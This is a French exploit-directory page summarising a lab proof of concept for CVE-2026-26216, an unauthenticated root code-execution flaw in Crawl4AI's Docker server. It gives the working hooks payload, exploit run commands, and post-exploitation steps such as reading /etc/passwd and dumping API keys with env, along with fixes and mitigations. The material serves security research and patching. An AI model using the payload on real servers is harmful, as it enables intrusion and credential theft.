Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EXPLOIT-CVE-2026-26216 — Preuve de concept pour CVE-2026-26216, démontrant une exécution de code à distance non authentifiée via injection de hook dans le déploiement Docker de Crawl4AI. Inclut un environnement de laboratoire vulnérable. | Kitploit
Outils/GitHubGitHub/joaovicdev/exploit-cve-2026-26216
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubjoaovicdev/exploit-cve-2026-26216

EXPLOIT-CVE-2026-26216

Preuve de concept pour CVE-2026-26216, démontrant une exécution de code à distance non authentifiée via injection de hook dans le déploiement Docker de Crawl4AI. Inclut un environnement de laboratoire vulnérable.

Voir le dépôt
4il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26216 — Crawl4AI RCE non authentifié via hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · RCE pré-auth · CWE-94 (Injection de code) Exécution de code à distance non authentifiée sur le serveur Docker de Crawl4AI (< 0.8.0), en abusant du paramètre hooks du endpoint POST /crawl. Un seul JSON dans le POST exécute du Python en root à l'intérieur du conteneur.

Ceci est une PoC de laboratoire, autonome et reproductible, pour la recherche en sécurité et à des fins éducatives.


La vulnérabilité en une phrase

Le endpoint POST /crawl accepte du code Python arbitraire dans le champ hooks.code.<événement>. Ce code est exécuté avec exec() dans un « sandbox maison » — un dictionnaire de builtins restreint. Seulement, , ce qui permet et neutralise tout le sandbox.

__import__ a été laissé dans l'allowlist
__import__('os').system(...)
root@kitploit:~
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

Comme le déploiement officiel tourne avec JWT désactivé par défaut et que le conteneur tourne en root, le résultat est un RCE root, sans authentification.

Pourquoi c'est la leçon parfaite sur « sandbox maison dans un outil d'IA »

Le sandbox semble fonctionner : open, eval, exec ont été retirés, donc une attaque naïve (open('/etc/passwd')) est bloquée. Cela crée une fausse sensation de sécurité. Mais il suffit d'un builtin dangereux oublié (__import__) pour importer toute la stdlib (os, subprocess, socket) et l'allowlist devient de la décoration. Une allowlist de builtins n'est pas un sandbox.


Structure du projet

root@kitploit:~
CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

Note de fidélité. vulnerable-app/ est une reproduction allégée du chemin de code vulnérable de Crawl4AI (n'ouvre pas Chromium/Playwright), pour que la PoC soit légère et 100 % reproductible. Le comportement du sandbox et la structure du payload reflètent l'advisory officielle GHSA-5882-5rx9-xgxp. La ligne vulnérable est marquée dans vulnerable-app/hook_manager.py.


Comment exécuter

root@kitploit:~
# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

Ce que démontre l'exploit

#ActionImpact
1open('/etc/passwd') directBloqué par le sandbox (fausse sécurité)
2__import__('subprocess') + id/whoamiRCE en root
3cat /etc/passwd via le shellLecture arbitraire de fichiers
4env | grep KEYExfiltration de clés API / jetons
5echo ... > /tmp/PWNEDÉcriture arbitraire de fichiers

À partir de là : pivot vers le réseau interne, vol de credentials cloud, persistance, etc.


Impact

  • Confidentialité : vol de OPENAI_API_KEY, jeton internes, secrets du conteneur.
  • Intégrité : écriture/modification de fichiers, backdoors.
  • Disponibilité : kill de processus, wipe de données.
  • Latéral : le conteneur a généralement accès au réseau interne → pivot.

Tout cela sans authentification.


Correction

Corrigé dans Crawl4AI 0.8.0 :

  • __import__ (et eval/exec/open) retirés des builtins autorisés.
  • Hooks désactivés par défaut — opt-in explicite via CRAWL4AI_HOOKS_ENABLED=true.

Atténuations générales :

  • Mettez à jour vers crawl4ai >= 0.8.0.
  • N'exposez jamais le serveur Crawl4AI directement sur Internet ; activez JWT.
  • Ne faites pas tourner le conteneur en root ; utilisez un utilisateur non privilégié et un FS en lecture seule.
  • Traitez l'« allowlist de builtins » pour ce qu'elle est : ce n'est pas un sandbox. Pour exécuter du code non fiable, utilisez un isolement réel (gVisor, microVM, processus séparé sans réseau/FS, seccomp).

Références

  • GitHub Advisory — GHSA-5882-5rx9-xgxp
  • GitHub Advisory Database
  • Corgea — CVE-2026-26216
  • GitLab Advisory Database
  • miggo.io — GHSA-5882-5rx9-xgxp

Avis de non-responsabilité

Matériel destiné à la recherche en sécurité autorisée et à l'éducation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test.

Télécharger l’outil